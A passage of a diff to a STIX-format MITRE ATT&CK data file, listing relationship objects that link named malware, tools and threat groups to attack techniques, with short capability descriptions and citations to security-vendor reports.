"relationship--f017f6c0-96f4-46f1-905f-44e9950effbc", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) opens a remote shell to execute commands on the infected system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5967cfeb-4525-44e8-9f92-e5b51fe72308", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.786Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.372Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WMI to deliver a payload to a remote host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.341Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:27:23.924Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "source_name": "DustySky2", + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + } + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "relationship_type": "uses", + "target_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.941Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's proxy information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ffec01b-b49c-4851-947f-cd29f9525aef", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) encrypts strings with XOR and obfuscates the macro code from the initial payload. [Zeus Panda](https://attack.mitre.org/software/S0330) also encrypts all configuration and settings in AES and RC4.", + "type": "relationship", + "created": "2019-01-29T17:59:44.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc9a5286-98a6-4905-b4ce-8f4d958861b6", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.090Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can download and execute additional payloads.", + "type": "relationship", + "created": "2019-01-29T18:23:46.189Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f41386c-5760-409e-b8b4-513f3d791d9f", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.189Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can access a system\u2019s webcam and take pictures.", + "type": "relationship", + "created": "2019-01-29T18:55:20.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c73f5693-e40c-48a9-b41c-8207f7180523", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:52.981Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in Bitsadmin.exe to ensure it stays running on a system to maintain persistence.", + "type": "relationship", + "created": "2019-01-29T19:09:26.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f290a4e-983c-460f-b00c-e1bc8dd4d413", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.374Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds several Registry entries to enable automatic execution at every system startup.", + "type": "relationship", + "created": "2019-01-29T19:18:28.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aeb0762f-0d0e-43b8-be6f-413f60097e02", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.608Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the rem reg query command to obtain values from Registry keys.", + "type": "relationship", + "created": "2019-01-29T19:55:48.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--014010a2-7bb8-4b11-bef9-c85609b2d94b", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.812Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's firewall and anti-virus.", + "type": "relationship", + "created": "2019-01-29T20:05:36.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c81c6d91-00f3-4c8b-bf34-929972685aa3", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.883Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses port 46769 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8981bacd-5491-4434-b7ee-5fff27f4898a", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.201Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) enumerates directories and scans for certain files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--714ecf14-6200-4edf-9a9c-dd9830831266", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.224Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used shell and VBS scripts as well as embedded macros for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d797bce-5f60-4c01-863e-be25ec0f770b", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.628Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with its C2 server over ports 4443 and 3543.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.490Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) decodes an embedded configuration using XOR.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--309652a1-45a4-4479-9e84-dfab33d0a1f5", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) has the capability to edit the Registry.", + "type": "relationship", + "created": "2019-01-29T20:05:36.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a21afd42-09ae-4e6b-a065-dc1b4454216d", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.895Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:06:37.193Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70e7b609-b57d-4c71-931e-b8a658b0ba0d", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T17:49:18.000Z", + "type": "relationship", + "created": "2019-01-29T21:27:25.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f0832ca-30f2-4f5a-8e92-1d15222fc087", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) uses DNS for C2.", + "type": "relationship", + "created": "2019-01-29T21:40:37.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94c08652-89f8-406d-b0c0-aeb35da36d99", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.630Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) exfiltrates collected files via removable media from air-gapped victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. 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DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.852Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to list its directory and logical drives.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) copied and installed tools for operations once in the victim environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55da48f1-79ee-44b7-af90-175622c411a8", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.572Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) gathers the time zone information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T13:42:09.659Z", + 